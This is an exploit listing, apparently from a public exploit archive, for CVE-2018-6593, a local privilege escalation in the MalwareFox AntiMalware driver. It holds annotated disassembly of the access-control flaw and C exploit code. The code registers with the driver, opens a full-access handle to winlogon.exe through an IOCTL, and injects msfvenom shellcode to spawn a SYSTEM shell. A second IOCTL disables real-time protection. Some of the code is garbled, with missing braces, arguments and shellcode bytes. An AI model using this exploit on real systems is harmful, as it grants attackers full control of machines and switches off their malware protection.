MalwareFox AntiMalware - Privilege Escalation

EKU-ID: 7337 CVE: 2018-6593 OSVDB-ID:
Author: Souhail Hammou Published: 2018-02-06 Verified: Verified



Title           :   MalwareFox AntiMalware - Local Privilege Escalation
Date            :   02/02/2018
Author          :   Souhail Hammou
Vendor Homepage :
Version         :
Tested on       :   Windows 7 32-bit / Windows 10 64-bit
CVE             :   CVE-2018-6593
#include <Windows.h>
#include <fltUser.h>
#include <TlHelp32.h>
#include <stdio.h>
#pragma comment(lib,"FltLib.lib")
BOOL RegisterProcessByCommunicationPort()
    HRESULT hResult;
    HANDLE hPort;
    Improper access control :
    The default DACL for the filter communication port is superseded allowing everyone to connect to the port:
    .text:0000000140011987                 lea     rcx, [rbp+SecurityDescriptor]
    .text:000000014001198B                 mov     edx, 1F0001h
    .text:0000000140011990                 call    FltBuildDefaultSecurityDescriptor ;default SD only allows SYSTEM & Admins to connect
    .text:0000000140011995                 test    eax, eax
    .text:00000001400119B1 loc_1400119B1:                          ; CODE XREF: sub_140011890+107j
    .text:00000001400119B1                 mov     rcx, [rbp+SecurityDescriptor] ; SecurityDescriptor
    .text:00000001400119B5                 xor     r9d, r9d        ; DaclDefaulted
    .text:00000001400119B8                 xor     r8d, r8d        ; Dacl
    .text:00000001400119BB                 mov     dl, 1           ; DaclPresent
    .text:00000001400119BD                 call    cs:RtlSetDaclSecurityDescriptor ; <= Vuln: SD's DACL pointer is set to NULL, granting access to everyone
    Once connected to the port, the driver automatically registers the process
    as trusted. This allows the process to issue IOCTL codes that couldn't be sent otherwise.
    e.g. disable real-time protection, write to raw disk, open full access handles to processes ...etc
    hResult = FilterConnectCommunicationPort(
    if (hResult != S_OK)
        return FALSE;
    return TRUE;
DWORD GetWinlogonPID()
    DWORD WinlogonPid = 0;
    PROCESSENTRY32 ProcessEntry;
    ProcessEntry.dwSize = sizeof(PROCESSENTRY32);
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE)
        printf("[-] CreateToolhelp32Snapshot failed !\n");
        goto ret;
    if (!Process32First(hSnapshot, &ProcessEntry))
        printf("[-] Process32First failed !\n");
        goto cleanup;
        if (!lstrcmp(ProcessEntry.szExeFile, "winlogon.exe"))
            WinlogonPid = ProcessEntry.th32ProcessID;
    } while (Process32Next(hSnapshot, &ProcessEntry));
    return WinlogonPid;
int main(int argc, char** argv)
    DWORD BytesReturned;
    DWORD winlogon_pid;
    HANDLE winlogon_handle;
    LPVOID RemoteAllocation;
    HANDLE hDevice;
    printf("===      MalwareFox Anti-Malware zam64.sys Local Privilege Escalation      ===\n");
    printf("                              Tested on Windows 10 64-bit                                \n");
    printf("                                   Souhail Hammou                                      \n\n");
    printf("[*] Stage 1: Registering the process with the driver by connecting to the minifilter communication port\n");
    hDevice = CreateFile
    if (hDevice == INVALID_HANDLE_VALUE)
        return 0;
    if (!RegisterProcessByCommunicationPort())
        printf("\t[-] Registration Failed !\n");
        return 0;
    printf("\t[+] Process registered.\n[*] Stage 2: \n");
    printf("\t[+] Getting Winlogon's PID\n");
    winlogon_pid = GetWinlogonPID();
    if (!winlogon_pid)
        printf("\t[-] GetWinlogonPID() failed !\n");
        return 0;
    printf("\t[+] (IOCTL) Opening a full access, user-mode accessible handle from kernel-mode to winlogon\n");
    The dispatcher for IOCTL code 0x8000204C opens a full access handle, accessible from usermode, to a process.
    We use this IOCTL to open a full access handle to winlogon.exe.
    Note that this IOCTL can only be sent if the process is registered with the driver.
    if (!DeviceIoControl(hDevice, 0x8000204C, &winlogon_pid, sizeof(DWORD), &winlogon_handle, sizeof(HANDLE), &BytesReturned, NULL))
        printf("\t[-] DeviceIoControl 0x8000204C failed !\n");
        return 0;
    printf("\t[+] Allocating executable memory in winlogon.exe using the full access handle\n");
    if (!(RemoteAllocation = VirtualAllocEx(winlogon_handle, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
        printf("\t[-] VirtualAllocEx failed !\n");
        return 0;
    printf("\t[+] Writing shellcode to allocated memory\n");
    /*msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread -f c*/
    unsigned char buf[] =
    if (!WriteProcessMemory(winlogon_handle, RemoteAllocation, buf, sizeof(buf), &BytesReturned))
        printf("\t[-] WriteProcessMemory Failed !\n");
        return 0;
    printf("\t[+] Spawning SYSTEM shell\n");
    if (!CreateRemoteThread(winlogon_handle, NULL, 0, RemoteAllocation, NULL, 0, NULL))
        printf("\t[-] CreateRemoteThread Failed! Did you compile the exploit as a 64-bit executable ?\n");
        return 0;
    printf("[*] Bonus:\n\t[+] Disabling real-time protection\n");
    if (!DeviceIoControl(hDevice, 0x80002090, NULL, 0, NULL, 0, &BytesReturned, NULL))
        printf("\t[-] DeviceIoControl 0x80002090 failed !\n");
        return 0;
    printf("\t[+] RT protection disabled.");
    return 0;